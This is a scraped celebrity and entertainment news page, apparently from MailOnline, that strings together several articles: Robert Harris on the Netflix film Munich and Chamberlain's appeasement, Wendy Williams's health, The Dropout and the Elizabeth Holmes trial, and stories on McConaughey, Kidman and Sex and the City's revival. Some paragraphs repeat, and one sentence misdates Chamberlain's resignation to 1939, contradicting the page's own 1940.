Hartmann (left played by Jannis Niewohner) Danger? One image shows Jeremy speaking to his fellow MPs in Parliament, ahead of a trip which was supposed to bring 'peace in our time.' only for Germany to begin war months later Another image shows the politician speaking to his fellow MPs in Parliament, perhaps the moment he famously declared 'peace in our time,' after supposedly signing an agreement with Hitler. The upcoming movie is adapted from Robert Harris' critically-acclaimed 2017 spy thriller of the same name and is set to be released on Netflix in January 2022. Harris' 12th thriller novel documents former British Prime Minister Neville Chamberlain's notorious 'peace for our time' trip to Munich, Germany, in September 1938 to meet Adolf Hitler. It shows him in a far more favourable light than he is usually portrayed by opponents of appeasement, casting him as a formidable, almost heroic figure. At odds: Civil servant Legat was tasked with acquring a secret document revealing Hitler's true plans for his country, during Chamberlain's trip to Germany While Jeremy is no doubt one of the film's biggest stars, Chamberlain is not the focal point of the film. Munich follows Hugh Legat, a private secretary to Chamberlain, and Paul von Hartmann, who works at the German Foreign Ministry and is a secret member of a resistance group against Hitler. The two men were close friends at Oxford and haven't spoken in years, but with Europe on the brink of a second war and an emergency meeting in Munich, Hugh and Paul's paths cross once again as they navigate political subterfuge. Dramatic: Chamberlain's Germany trip ultimately proved pointless, as Hitler invaded Poland just one year later, kick-starting the Second World War Speaking out: Chamberlain can also be seen delivering a radio broadcast, reassuring Britons there is always 'hope' while the war is yet to begin 1917 actor George MacKay will play the role of Hugh Legat with Inglourious Basterds actor Martin Wuttke playing Adolf Hitler. Other stars involved in the project include The Crown's Erin Doherty and Allied's August Diehl. What happened in Munich 1938? Former British Prime Minister Neville Chamberlain travelled to Munich, Germany, in September 1938 to meet Adolf Hitler in a 'peace for our time' trip. The two leaders met at the now-infamous Munich conference - between Britain, Germany, Italy and France - during which the European powers agreed Germany could take de facto control of Czechoslovakia. On his return to Britain a day later, Chamberlain landed at Heston airport, West London, to rapturous applause and waved the signed agreement in the air. He stated the document was 'symbolic of the desire of our two peoples never to go to war with one another again'. In words that would come to haunt him just a year later he announced: 'My good friends, for the second time in our history, a British Prime Minister has returned from Germany bringing peace with honour. I believe it is "peace for our time".' Chamberlain wrongly believed the agreement would mean an end to Germany's expansion plans across the continent. But Hitler did not keep the promises made, and, a year later, derided the agreement as just a 'scrap of paper'. He invaded Poland on September 1, 1939. Britain and France declared war on Nazi Germany two days later and the Second World War began. Mr Chamberlain was forced to resign in May 1940 and was succeeded in office by Winston Churchill. He died in November 1940. Advertisement Talking about Irons taking on the role of Chamberlain, author Harris said in a statement: 'It's great to see an actor of Jeremy Irons' stature playing Neville Chamberlain. 'This will be the first time a major movie has gone beyond the cult of Winston Churchill and tried to show Chamberlain in a more sympathetic light.' Harris is a former BBC journalist who wrote about politics before writing his first novel, Fatherland, in 1992, which was made into a film. The next one, Enigma, starred Kate Winslet. Daniel Craig was in the television series of the next book, Archangel, about modern Russia. Since then Harris has written stories set in the Vatican, the City of London, 19th-century France and a trilogy based around the ancient Roman politician Cicero. Former British Prime Minister Neville Chamberlain travelled to Munich, Germany, in September 1938 to meet Adolf Hitler in a 'peace for our time' trip. The two leaders met at the now-infamous Munich conference - between Britain, Germany, Italy and France - during which the European powers agreed Germany could take de facto control of Czechoslovakia. On his return to Britain a day later, Chamberlain landed at Heston airport, West London, to rapturous applause and waved the signed agreement in the air. He stated the document was 'symbolic of the desire of our two peoples never to go to war with one another again'. In words that would come to haunt him just a year later he announced: 'My good friends, for the second time in our history, a British Prime Minister has returned from Germany bringing peace with honour. I believe it is "peace for our time".' Chamberlain wrongly believed the agreement would mean an end to Germany's expansion plans across the continent. But Hitler did not keep the promises made, and, a year later, derided the agreement as just a 'scrap of paper'. He invaded Poland on September 1, 1939. Britain and France declared war on Nazi Germany two days later and the Second World War began. Chamberlain was forced to resign in May 1940 and was succeeded in office by Winston Churchill. He died in November 1940. Munich will be released in select theatres in the United States in December and on Netflix on January 21. EXCLUSIVE: 'The silly old man with his umbrella' who SAVED Britain: Author Robert Harris behind new Netflix film Munich says Neville Chamberlain is a 'convenient' scapegoat for WWII... but his 'shrewd' Appeasement deal with Hitler bought UK vital time to arm for war By Harry Howard, History Correspondant for MailOnline The Munich Agreement ceded the Sudetenland region of what was then Czechoslovakia to Hitler Was hoped the concession would be enough to avoid Europe-wide armed conflict after months of tensions Hitler rode roughshod over the deal the following year by annexing all of Czechoslovakia and invading Poland Chamberlain was ridiculed domestically for attempting to appease Hitler in a deal that failed spectacularly Speaking exclusively to MailOnline, Mr Harris said Chamberlain's policy was 'shrewd' and bought Britain time Right up until he shot himself on April 30, 1945, the defeated Nazi dictator Adolf Hitler regretted the deal he struck with British Prime Minister Neville Chamberlain in September 1938. The famous Munich Agreement, which was also signed by France and Italy, ceded the Sudetenland region of what was then Czechoslovakia to Hitler in the hope that the concession would be enough to avoid Europe-wide armed conflict after months of tensions caused by Germany's territorial ambitions. But the deal also destroyed Hitler's plans, because he had been preparing to use the issue of the Sudetenland - which had been taken from Germany in the Treaty of Versailles after the First World War - as a justification for war. Instead, the pact forced him to hold back and he was left so furious that it is claimed he said soon after Chamberlain had returned to Britain: 'If ever that silly old man comes interfering here again with his umbrella, I'll kick him downstairs and jump on his stomach in front of the photographers.' Whilst Chamberlain told the British public afterwards that he believed it was 'peace in our time', Hitler rode roughshod over the deal the following year by annexing all of Czechoslovakia in March and invading Poland on September 1. Right up until he shot himself on April 30, 1945, the defeated Nazi dictator Adolf Hitler regretted the deal he struck with British Prime Minister Neville Chamberlain in September 1938. The famous Munich Agreement, which was also signed by France and Italy, ceded the Sudetenland region of what was then Czechoslovakia to Hitler in the hope that the concession would be enough to avoid Europe-wide armed conflict. Above: Chamberlain holds his umbrella as he stands next to Hitler whilst meeting German general Wilhelm Keitel in Munich It was that last act of aggression which was the final straw even for the peace-loving Chamberlain, who declared war on Germany on September 3. Chamberlain went on to be ridiculed domestically for attempting to appease Hitler with a deal that ultimately failed spectacularly and even now his name is synonymous with the toxic policy of appeasement. Now, upcoming Netflix drama Munich The Edge of War, which is an adaptation of a novel by English historical fiction writer Robert Harris, paints Chamberlain in a more sympathetic light. Speaking exclusively to MailOnline on Thursday ahead of the film's release in January, Mr Harris said that although it is 'convenient' to scapegoat Chamberlain, the delay to war which his 'shrewd' Munich Agreement brought gave Britain vital time to rearm for when conflict did eventually come. As a result, he said Chamberlain left Britain 'quite strongly defended' with 'hundreds' of Spitfires and the backup of the newly-invented Radar air defence system when he resigned as Prime Minister in May 1939. Hitler was left so furious that it is claimed he said soon after Chamberlain had returned to Britain: 'If ever that silly old man comes interfering here again with his umbrella, I'll kick him downstairs and jump on his stomach in front of the photographers'. Above: Hitler and Chamberlain pose for a photograph in September 1938 Now, upcoming Netflix drama Munich The Edge of War, which is an adaptation of a novel by English historical fiction writer Robert Harris, paints Chamberlain in a more sympathetic light. Above: English actor Jeremy Irons is seen in character as Chamberlain next to Hitler, Italian dictator Benito Mussolini and French PM Daladier Set during the run-up to the signing of the Munich Agreement, Netflix's new drama stars Jeremy Irons as Chamberlain and George Mackay as his fictional civil servant aide Hugh Legat. Legat and his old friend Paul von Hartman (Jannis Niehwohner), a German diplomat, both travel to Munich for the conference and end up being engulfed in a web of political subterfuge. Hitler, Italian dictator Benito Mussolini and the then French prime minister Edouard Daladier are all depicted in both the novel which is just called Munich and the new Netflix drama. The trailer, which was released this month, shows the chilling moment that von Hartman encounters Hitler, who demands 'where are you going?' as he tries to leave the room at a formal dinner. The film also recreates the meetings between the world leaders at the conference, including the moment that Hitler, Chamberlain, Mussolini and Daladier pose together for a joint photograph. Speaking of his view of the agreement, Mr Harris said: 'The common view of Munich is that Hitler was bluffing and managed to without a shot being fired get all that he wanted from this kind of weak appeasing Prime Minister. 'In point of fact, the history very much suggests that Hitler really wanted to invade Czechoslovakia, he didn't just want the Sudetenland, he wanted to wipe out Czechoslovakia full stop. Whilst Chamberlain told the British public after the Munich Agreement was signed that he believed it was 'peace for our time', Hitler rode roughshod over the deal the following year by annexing all of Czechoslovakia in March and invading Poland on September 1 Speaking exclusively to MailOnline on Thursday ahead of the film's release in January, Mr Harris said that although it is 'convenient' to scapegoat Chamberlain, the delay to war which his 'shrewd' Munich Agreement brought gave Britain vital time to rearm for when conflict did eventually come. Right: The cover of his 2017 novel, which is called Munich 'He found himself laying out demands which Chamberlain was able to meet.' He said that Hitler was left 'very angry' with the deal and continued to argue right up until weeks before his death that Germany should have gone to war in September 1938. Mr Harris's novel features Hitler's desperate statement in February 1945, when he said: 'We ought to have gone to war in 1938, September 1938 would have been the most favourable date.' Because the Sudetenland's population was mostly made up of three million Germans, many in Britain did not see any issue with Germany's takeover of the territory. It meant that, if Britain had gone to war rather than striking the deal in Munich which handed Germany the Sudetenland, Chamberlain would have found it much harder to convince the British people that it was the right thing to do. By contrast, there was overwhelming backing for Britain's decision to declare war in September 1939 after Germany's invasion of Poland. 'So it is not only that it [the Munich Agreement] gave us time to equip the air force with spitfires and the radar defence that saved us, it is that it gave us the moral advantage,' Mr Harris said. Adolf Hitler greets British Prime Minister Neville Chamberlain at Munich in September 1938. Chamberlain hoped that striking a deal with Hitler would avoid war 'And also, in 1939 we had the backing of the empire, Canada and Australia and so on, which we would not have had if we had tried to fight in September 1938. Britain really would have been on its own.' 'I can understand why everyone has heaped so much blame on Chamberlain, it is very convenient,' he added. 'Chamberlain's policy was a failure, he said everything he believed in was in ruins. It was a noble effort in many ways and quite a shrewd one. 'What's the point of just repeating the same old story? Churchill knew that for him to look good, it was necessary for Chamberlain to look bad. 'Chamberlain left the country quite strongly defended. He did actually declare war on Hitler after guaranteeing Poland. 'I think it is quite important for a country not just to repeat comforting myths but to look at reality.' Chamberlain's replacement as PM, Winston Churchill, was one of the fiercest critics of Chamberlain's appeasement policy. British Prime Minister Neville Chamberlain, Adolf Hilter and his interpreter Dr. Paul Schmidt meet in Berchtesgaden, Germany After the PM hailed the success of the Munich Agreement in 1938, Churchill warned him that he had a choice between 'war and dishonour' but because he had chosen the latter 'you will have war'. Chamberlain's downfall as PM came after the failure of the Allied campaign to defend Norway against Hitler's rampaging forces. When Churchill took over in Downing Street on May 10, Chamberlain remained as leader of the Conservative Party and adopted the position of Lord President of the Council in his former rival's War Cabinet. However, his ongoing presence in Government prompted attacks from both Labour and the Liberal Party, who wanted him to leave frontline politics altogether. Fierce criticism came from the press, with a polemic titled Guilty Men written by a trio of journalists which included future Labour leader Michael Foot selling more than 200,000 copies. It accused Chamberlain and his government of failing to prepare adequately for the prospect of war with Germany. The tome called for the removal of Chamberlain and other ministers they deemed responsible for Britain's failures in the first months of the war. However, by July 1940, the critics' calls were answered in a different way: when surgeons discovered that Chamberlain was suffering from terminal bowel cancer. Whilst his doctors initially concealed the terrible news from him, Chamberlain was forced to leave Government when he was beset by repeated bouts of severe pain. Whilst his formal resignation as Lord President of the Council came on October 3, he had told Churchill in September that he wished to step down. Then, on November 9, Chamberlain passed away and Churchill paid tribute to him in the House of Commons. Wendy Williams has been spending more time with her adult son Kevin Hunter Jr. following 'an ultimatum' from the 21-year-old to focus on her health. The 57-year-old talk show host was seen out briefly with her son on Thursday in Manhattan amid her battle with numerous medical complications from Graves' disease. Meanwhile, her eponymous day time chat show is set to return in the New Year without Wendy at the helm as she continues her months long absence. Mother and son: Wendy Williams was seen out briefly with her son, Kevin Hunter Jr., on Thursday in Manhattan amid her battle with numerous medical complications from Graves' disease Wendy managed to make a fashion statement in her brief appearance out wearing black leggings and a pair of tall fur covered black boots which was paired with a varsity jacket. Her long blonde hair was left down and slightly bedraggled and she sported a black protective facemask. Kevin, meanwhile, skipped wearing a mask and was casual in jeans and a black hoodie. This is the second time the mother-son-duo were seen out and about in New York City in recent weeks. Still chic: Wendy managed to make a fashion statement in her brief appearance out wearing black leggings and a pair of tall fur covered black boots which was paired with a varsity jacket Hunter Jr. is supporting his ailing mom as she deals with a myriad of health issues that have been keeping her away from hosting her popular talk show. The 21-year-old is said to have given his mother, 57, an 'ultimatum' allegedly telling her that he won't be in her life 'unless she fixes herself.' A source recently claimed to The Sun: 'Wendy's relationship with Kevin Jr has been strained. He gave her an ultimatum. He told her he won't be in her life unless she fixes herself.' The source added: 'Her son has been doling out the tough love, telling her "Get yourself help, mom."' Family ties: Hunter Jr. is supporting his ailing mom as she deals with a myriad of health issues that have been keeping her away from hosting her popular talk show Earlier this month, it was revealed that The Wendy Williams Show will return with new episodes in 2022 but without its beloved host. In a social media post from the show's official account, Fat Joe, Remy Ma, Michael Rapaport, Kym Whitley, Finesse Mitchell and Sherri Shepherd were listed as guest hosts for the start of 2022. This comes after sources close to production have been intimating that Wendy may never return as host as she continues to battle various medical issues relating to Graves' disease. 'The Wendy Williams Show' Returns with All-New Episodes in the New Year! @fatjoe & @remyma, @michaelrapaport, @kymwhitley & @finessemitchell and @sherrieshepherd are all set to guest host this January,' read the caption of a social media post. A source recently claimed to The Sun : 'Wendy's relationship with Kevin Jr has been strained. He gave her an ultimatum. He told her he won't be in her life unless she fixes herself.' (Wendy pictured with son and ex Kevin Hunter Sr. in 2017) The image shared alongside featured images of the aforementioned guest hosts. There was no mention of Wendy herself or any idea of when she might be back. This crop of guest hosts will take the show through January 28 with February and beyond up in the air. 'Even if she did come back, she'd be a lame duck because her show isn't renewed beyond this season,' a source told Page Six. This will mark the third guest stint for Sherri Shepherd who is being seen as the top choice to replace Wendy permanently. A rotating list of guest hosts have been filling in for the ailing star on her daytime chat series while she battles a host of medical issues. Season 13 premiered with a panel of guest hosts on October 18, including Devyn Simone, Bevy Smith, Leah Remini, Whitney Cummings, Michael Rapaport, Bill Bellamy, and Jerry Springer. Where's Wendy? Last week, the show announced the talk show series would be returning in 2022 but without its beloved host Sherri Shepherd, who will return in January for her third guest hosting stint, is highly considered to be the frontrunner for replacing Wendy permanently. She was unable to fill in for Williams on Monday, however, after undergoing emergency surgery for appendicitis but, was back on Tuesday. Sherri broke down her health scare on Hot Topics and revealed she went to the hospital after she began experiencing 'excruciating pain' in her abdomen. 'I'm walking through the streets of New York City and it literally was this excruciating pain in my abdomen, and my assistant...she got me to the hospital because I was in such agony. And I was in the hospital only because I thought they were going to prescribe like a high dosage metamucil, but they put me on an IV and then they gave me a cat scan and they came back and they said I had appendicitis. Replacement: Sherri Shepherd had to take a short break from guest hosting due to emergency surgery this week but she is highly considered to be the frontrunner for replacing Wendy permanently 'I started crying because the doctor said I needed to have my appendix taken out like right then and there. So I'm thinking to myself, I'm about to do Wendy. There's a lot of moving parts, and so I asked the doctor, could you guys do it on Friday?' 'I was like, if y'all could just do it on Friday as soon as I get done, like you be trying to schedule your dog gone surgery, and the doctors said no... And I never do this, I never do the celebrity thing, but I pulled my mask down and I said, "Do you know who I am? I'm filling in for Wendy Williams. I gotta do Wendy Williams." 'And they did know who I was so I figured... but the doctors said, they said, "Sherri if your appendix bursts, they said that you could die." That's what they told me. They said you could die if your appendix bursts, and when I heard the word "die", I said could someone find Michael Rappaport...' Comedian Michael Rapaport filled in for Sherri and wished her a speedy recovery while hosting the show on Monday. Amanda Seyfried channeled disgraced Theranos founder Elizabeth Holmes in a first look photo from the upcoming Hulu drama series The Dropout. In the photo, Seyfried, 36, wore Holmes' signature all-black outfit and bright red lipstick as she sat with her hands clasped upon her lap. Seyfried stars opposite Naveen Andrews, who plays her ex-boyfriend and former business partner Sunny Balwani, in a new series chronicling the rise and fall of Holmes and her company. Amanda Seyfried was a dead ringer for disgraced Thernos founder Elizabeth Holmes in a first look photo from the upcoming Hulu drama series The Dropout Holmes has been accused of duping investors out of about $700 million to fund her medical tech company, including blood testing technology that didn't exist, that she founded when she was just 19. The limited series will also feature the likes of William H. Macy, Laurie Metcalf, Elizabeth Marvel, Utkarsh Ambudkar, Kate Burton, Stephen Fry, Michel Gill, Michael Ironside, Bill Irwin and Josh Pais. The series is set to premiere on Hulu, as well as on the Disney+ content hub Star in international markets. Holmes currently faces nine counts of wires fraud, and two of conspiracy, and could face 20 years in prison if convicted. She has pleaded not guilty. Holmes has been accused of duping investors out of about $700 million to fund her medical tech company, including blood testing technology that didn't exist, that she founded when she was just 19; pictured September 2015 On the set: Seyfried seen dressed in character while on the set of The Dropout in Los Angeles in August Last week Holmes closed her fraud trial testimony by blaming any misleading comments she'd made to investors on what company experts had told her. Holmes, 37, spent her final day on the stand trying to drive home the argument that she didn't intend to mislead investors and instead relied on expert feedback to glean information on company prospects. Explaining why she'd made false statements she claimed were just honest mistakes, Holmes told jurors: 'I wanted to convey the impact. 'I wanted to talk about what this company could do a year from now, five years from now, 10 years from now. They werent interested in today or tomorrow or next month they were interested in what kind of change we could make.' Holmes currently faces nine counts of wires fraud, and two of conspiracy, and could face 20 years in prison if convicted; pictured September 2021 Echoing that claim, defense lawyer Lance Wade added: 'Theranos didnt see mistakes as crimes. They saw them as part of the path to success.' Last Wednesday repeatedly saw Holmes try to shun the blame for the blood-testing company's spectacular failure, which saw high profile investors duped into pumping hundreds of millions of dollars into the firm. Holmes also admitted that the 'buck' stopped with her and that she was responsible for managing the company as its chief executive, the New York Times reported. Holmes' comments last Wednesday brought an end to hours of testimony, during which she presented herself as a domestic assault victim who was controlled by ex-boyfriend Balwani. The defense rested its case Wednesday, and closing arguments are set to begin December 16; pictured 2015 Her trial in San Jose, California, also heard how the former Silicon Valley wunderkind's lavish lifestyle and hunger for fame fueled the fraud. Her reputation as a high-flying successful tech mogul began to unravel, as did her luxury lifestyle, after she was accused of defrauding investors and patients. Prosecutors alleged she did so by failing to deliver on a promise to revolutionize health care with a technology that was supposed to be able to detect a wide range of diseases with just a few drops of blood. She spent her last day on the stand trying to persuade jurors that she did not intentionally deceive investors. She told her defense attorney during questioning that investors took a long-term approach to their investment strategies. 'They weren't interested in today or tomorrow or next month,' she said. 'They were interested in what kind of change we could make.' The defense rested its case Wednesday, and closing arguments are set to begin December 16. Jurors will then begin deliberating Holmes' fate. The Dropout will premiere on Hulu on March 3. Matthew McConaughey, 52, was seen leaving a taping of Live With Kelly And Ryan on Wednesday afternoon in New York City. The Academy Award winner is promoting his new movie, Sing 2, which he discussed during the episode. The star was rocking a mint green suit, with brown dress shoes and brown Ray-Ban sunglasses. He was also masked up, pairing a nude mask with his outfit. Minty Matt! Matthew McConaughey, 52, was seen leaving a taping of Live with Kelly and Ryan Wednesday afternoon in New York City Academy Award winner: The actor was rocking a mint green suit, with brown dress shoes and brown Ray-Ban sunglasses The father-of-three had his long hair slicked back as he was seen getting into a SUV. Matthew voices a koala named Buster Moon in Sing 2. The main character leads his friends in Redshore City, putting on a show for a media tycoon while trying to recruit a legendary rock star to perform with them. This animated, children's movie will be releasing in theaters December 22 and features other stars, such as Scarlett Johansson, Reese Witherspoon, Tori Kelly and more. On the go: Matthew had his long hair slicked back as he was seen getting into a SUV in New York City It's showtimes! Matt, far left, with Kelly Ripa and her husband Mark Consuelos on Live Sing happy: The movies stars McConaughey, Reese Witherspoon, Scarlett Johansson, Garth Jennings, Nick Kroll, Tori Kelly, and Taron Egerton Matthew has been working hard to promote Sing 2, which he discussed in detail last night on The Tonight Show with Jimmy Fallon. After discussing his upcoming movie, Jimmy, 47, asked Matthew about his decision to pull out of the race for governor in Texas. He went on to say that he came to the decision over the last couple of months and at this time in his life, he is focused on his wife, three children and his movie career. A rare appearance: The whole family made a rare red carpet appearance at the Sing 2 premiere in Los Angeles on Sunday Matthew and his wife, Camila Alves, 39, have been married for nearly a decade and share three children together. Levi, 13, is the oldest, Vida, 11, and Livingston, 8. The whole family made a rare red carpet appearance at the Sing 2 premiere in Los Angeles on Sunday. It is no surprise to see Matthew putting his family first, since he mentioned in his memoir, which was published in October 2020, that he was always meant to be a dad. Father of three: Matthew has been working hard to promote Sing 2, which he promoted last night on The Tonight Show with Jimmy Fallon McConaughey was later seen switching into another stylish outfit before heading to a taping of Late Night with Seth Meyers. The performer sported a stark white turtleneck sweater while stepping out into New York City's bustling streets. The Dallas Buyers Club star also rocked a stylish light gray double-breasted jacket that contrasted well with his top. The performer notably donned a pair of slim-fitting pants that nearly matched his outerwear. Stepping out: McConaughey was later seen switching into another stylish outfit before heading to a taping of Late Night with Seth Meyers Sharp-dressed man: The performer sported a stark white turtleneck sweater while stepping out into New York City's bustling streets. The Dallas Buyers Club star also rocked a stylish light gray double-breasted jacket that contrasted well with his top Fashionable: The performer notably donned a pair of slim-fitting pants that nearly matched his outerwear McConaughey opted to wear a fashionable set of Chelsea-style boots during his outing. He accessorized with a pair of tinted aviator-style sunglasses that added a bit of color to his outfit. The actor sported a white facial covering to keep himself protected from COVID-19 during his time in public. With her line-free complexion, lush red locks and svelte frame, Nicole Kidman looks a fraction of her age - at least at first glance. But the Oscar-winning actress couldn't disguise her 54 years as she stepped out at the Being the Ricardos premiere in Sydney on Wednesday. While showing off her diamond and emerald rings for the cameras, the Eyes Wide Shut star also revealed her naturally aged hands. She's a hard worker! Nicole Kidman's hands looked very different to her immaculate face as the 54-year-old showcased her jewels at the Being the Ricardos premiere in Sydney on Wednesday Unlike many stars who hide any sign of ageing, Nicole was a breath of fresh air as she showcased her hands' natural skin texture. Nicole did opt for a far more glamorous look when it came to her face, however, highlighting her youthful complexion with dramatic makeup. Meanwhile, she oozed Old Hollywood glamour in a sequinned green and aquamarine gown by Etro. Refreshing: While showing off her diamond and emerald rings for the cameras, the Eyes Wide Shut star also revealed her naturally aged hands She accessorised with jewel-encrusted stilettos and an assortment of diamonds. Her long, red curls were piled into an updo with loose tendrils elegantly framing her face, and she carried an emerald green clutch purse. Nicole plays Lucille Ball in Being the Ricardos, and is already generating Oscar buzz with her role as the beloved 1950s comedian. Primped: Nicole did opt for a far more glamorous look when it came to her face, highlighting her line-free complexion with dramatic makeup. Pictured with husband Keith Urban All that glitters! She oozed Old Hollywood glamour in a sequinned green and aquamarine gown by Etro The film depicts the often complicated relationship between real-life Hollywood power couple Lucille Ball and Desi Arnaz, played by Javier Bardem, as they filmed their hit sitcom I Love Lucy. It's set to premiere in cinemas this month, before streaming on Amazon Prime from December 21, and has already generated plenty of awards season buzz. Appearing at the Deadline Contenders Film event in Los Angeles last month, Nicole admitted she was apprehensive about taking on the role of such a beloved and iconic figure. 'I had massive trepidation about a month prior, and [director] Aaron [Sorkin] had to get on the phone and send me emails saying, 'You've got this,'' she said, as reported by Variety. While Sex and the City viewers are still reeling from the unexpected death of Mr. Big, his widow Carrie Bradshaw just got hit with another curveball. A new teaser shows Carrie (Sarah Jessica Parker) talking about her life before tragedy hit with pals Charlotte York (Kristin Davis), Miranda Hobbes (Cynthia Nixon) and Stanford Blatch (portrayed by the late Willie Garson). 'I was doing well. Wasn't I doing well before this?' she asked her friends as they enjoyed lunch at a busy restaurant in New York City. Grieving: While Sex and the City viewers are still reeling from the death of Mr. Big, his widow Carrie Bradshaw just got hit with another curveball Miranda shakes her head in agreement, and replies: 'Yes, you were.' 'Remarkably well!' Charlotte interjects while Stanford adds he was 'very impressed.' Carrie goes on to acknowledge that she 'wasn't eating or sleeping,' but 'at least felt good' about her marriage. Friends: A new teaser shows Carrie (Sarah Jessica Parker) talking about her life before tragedy hit with pals Charlotte York (Kristin Davis), Miranda Hobbes (Cynthia Nixon) and Stanford Blatch (portrayed by the late Willie Garson) 'I was doing well. Wasn't I doing well before this?' she asked her friends as they enjoyed lunch at a busy restaurant in New York City Coming back: Mr. Big's ex-wife Natasha (Bridget Moynahan) was confirmed for the Sex and the City revival back in September The 31-second clip then panned to her running through the street in a long pink dress and pair of high heels as she seemed to chase after someone. 'The sixth stage of grief is stalking,' she said on the phone. 'Just, you know, in case you were curious.' After finding a mysterious Post-it note in one of her late spouse's jackets, Carrie asks: 'So what else, don't I know?' 'Remarkably well!' Charlotte interjects while Stanford adds he was 'very impressed' The 31-second clip then panned to her running through the street in a long pink dress and pair of high heels as she seemed to chase after someone 'The sixth stage of grief is stalking,' she said on the phone. 'Just, you know, in case you were curious' 'Carrie, you're acting crazy,' Charlotte tells her as Carrie shoots back: 'I sure hope so!' Later, Charlotte and Miranda sit in the back of a car and help their grieving pal spy on Mr. Big's ex-wife Natasha Naginsky. 'She's wearing flats,' Charlotte says in shock, while Miranda fired back that is 'the most desperate putdown' she's 'ever heard.' Sleuths: After finding a mysterious Post-it note in one of her late spouse's jackets, Carrie asks: 'So what else, don't I know?' Helping Carrie: Later, Charlotte and Miranda sit in the back of a car and help their grieving pal spy on Mr. Big's ex-wife Natasha Naginsky 'She's wearing flats,' Charlotte says in shock, while Miranda fired back that is 'the most desperate putdown' she's 'ever heard' For the past week, fans have have vented their fury over Carrie's actions when she discovered Mr. Big slumped on the floor after suffering a heart attack. Viewers believe had Carrie reacted quicker and called 911, she may have been able to save Mr. Big's life as their 15th-floor penthouse is just an eight minute drive from Lenox Hill Hospital. In the scenes which shocked fans, Carrie's long-time love, and husband, John James Preston, otherwise known as Mr. Big (Chris Noth), collapsed from a heart attack after working up a sweat on one of Peloton's exercise bikes at the end of episode one. And Just Like That... viewers have vented their fury over Carrie Bradshaw's actions when she discovered Mr. Big slumped on the floor after suffering a heart attack Tragic ending: Fans of the show have questioned why Sarah Jessica Parker's character lays him on his side, half under the shower and kisses him instead of alerting emergency services He was unable to call emergency services himself after dropping his phone in the shower. Arriving back home from a piano recital for Charlotte's daughter, Carrie is horrified to find Mr. Big laying on the bathroom floor, and proceeds to comfort him in his final moments before slipping away and dying. Vulture went on to analyse Mr. Big's final moments and if his untimely death could have been prevented by speaking to Daniel Luger, a cardiologist at Chicagos Rush University Medical Center. When asked if it was possible for Mr. Big to be conscious for around 30 minutes after having the heart attack, while Carrie rushed across NY to get back home, Dr Luger replied: 'Very much so'. He went on: 'This is her fault. Without trying to point a finger at her, this is absolutely the fault of whats her name? 'She needed to do CPR. This is a PSA: If you see somebody lose consciousness, the first thing you do is feel for a pulse. 'She needed to do CPR. This is a PSA: If you see somebody lose consciousness, the first thing you do is feel for a pulse. Hurt: After getting off the stationary bike, Mr. Big, otherwise known as John James Preston, grimaces in pain when he begins to have a heart attack Heartbreaking: By the end of the episode, Mr. Big collapses in the bathroom area and dies What is the difference between a heart attack and a cardiac arrest? A cardiac arrest is when your heart suddenly stops pumping blood round your body, commonly because of a problem with electrical signals in your heart. When your heart stops pumping blood, your brain is starved of oxygen. This causes you to fall unconscious and stop breathing. It is not the same as a heart attack. A heart attack happens when blood supplying the heart muscle is cut off due to a clot in one of the coronary arteries. A person having a heart attack has a high risk of experiencing a cardiac arrest. A cardiac arrest occurs when the heart suddenly stops pumping blood around the body, often because of a problem with the electrical signals to the heart muscle. Source: British Heart Foundation Advertisement 'If theres no pulse, you call EMS and start chest compressions without delay. You can definitely save peoples lives that way. He didnt need to die. This is a travesty.' The doctor said how if Mr.Big had made it to hospital or if EMS was at his side, 'they could absolutely shock him out of that rhythm' and it was a 'very treatable problem' in he had medical care. And viewers echoed Dr Luger's professional opinion on Twitter. One viewer wrote: 'When I was having what felt like a heart attack, I was so lucky I wasn't in a situation where calling 911 for help was not possible, like for instance if I had been married to Carrie Bradshaw.' While a different fan chimed: 'Why didnt Carrie call 911, get the aspirin, get the nitro, anything to try to save him. The length of time she just stood there was agonizing.' A third typed: 'I was SCREAMING at the screen', while a different viewer added: 'Look its not Pelotons fault that Carrie doesnt know how to dial 911 or do chest compressions'. Another fan wrote: 'I thought I was the only one screaming 911 at the screen.' It comes after the creator of the Sex And The City reboot series And Just Like That... explained the shocking death of one of the show's long-running characters, and why a real Peloton stationary bike was used in the death scene. Series developer Michael Patrick King revealed the idea around killing Mr. Big off so early on was to give the show a new look and feel, which includes doing the unexpected through the perspective of Carrie. 'Dying was the origin story,' King confessed Vanity Fair, adding, 'Nobody wanted to come back if [the show] was not going to be different.' 'When I told Chris that Mr. Big dies in the first episode, he definitely knew it wasn't [going to be the] same. And we had to talk about it,' King confessed. 'He really wanted to talk about why he's dying and what it does for this series. The more we talked about it, the more he understood that it was for Carrie and Carrie's storyline is it's better to have loved and lost than never have loved at all.' Oscar winner Nicole Kidman plays iconic comedian Lucille Ball in the Amazon Prime film Being the Ricardos. And the 54-year-old dazzled alongside her co-star Javier Bardem in a vintage-style portrait for the cover of The Hollywood Reporter this month. Nicole, who transformed herself into the '50s-era comedian, nestled into Javier, who plays Lucille's husband Desi Arnaz. Tasteful: Nicole Kidman, 54, dazzles in a vintage-style portrait alongside her Being the Ricardos co-star Javier Bardem on the cover of The Hollywood Reporter this month The Australian star allowed her long tresses to frame her delicate features as she gazed adoringly at Javier, who was reading a script. The Hours star held a pair of black-rimmed glasses for the shoot, which appears to be in homage to the plot of the film. Being the Ricardos not only focuses on Lucy's reign as a TV star but also the inner-workings of her relationship with Desi Arnaz. Close: Nicole, who transformed herself into the '50s-era comedian, nestled into Javier, who plays Lucille's husband Desi Arnaz. Pictured here at the LA premiere on December 6 It comes after Nicole revealed how she transformed herself into Lucille Ball before starting work on the production. The Hollywood superstar, who has described Lucille as 'complex', said she would spend hours practising her iconic 'voice' and 'physicality'. '[It was a] crazy amount of hours fastidiously working on the physicality, on the voice, on the movements, just learning the words,' she told The Daily Telegraph. Complex: Being the Ricardos not only focuses on Lucy's reign as a TV star but also the inner-workings of her relationship with Desi Arnaz Nicole also revealed she was forced to do a lot of the preparation work for the role over Zoom due to the Covid pandemic. While her performance in Being the Ricardos has attracted Oscar buzz, Nicole said she didn't realise how intense the role would be before signing up. 'I am actually glad I didn't realise, as it is with anything in life it is better not to know ahead of time what you are going into,' she said. Preparation: '[It was a] crazy amount of hours fastidiously working on the physicality, on the voice, on the movements, just learning the words,' Nicole said of her preparation for the role In fact, Nicole confessed that accepting roles 'without thinking it through' is something she does often. 'I think I have a screw loose where I am not able to go, "Yikes, be careful." I don't have that, that is not part of my makeup,' she admitted, likening her 'ridiculous' decision-making skills to that of a 'teenager'. Nicole jetted back to her native Australia for the Sydney premiere of Being the Ricardos on Wednesday night. Big gig: Nicole plays Lucille Ball in 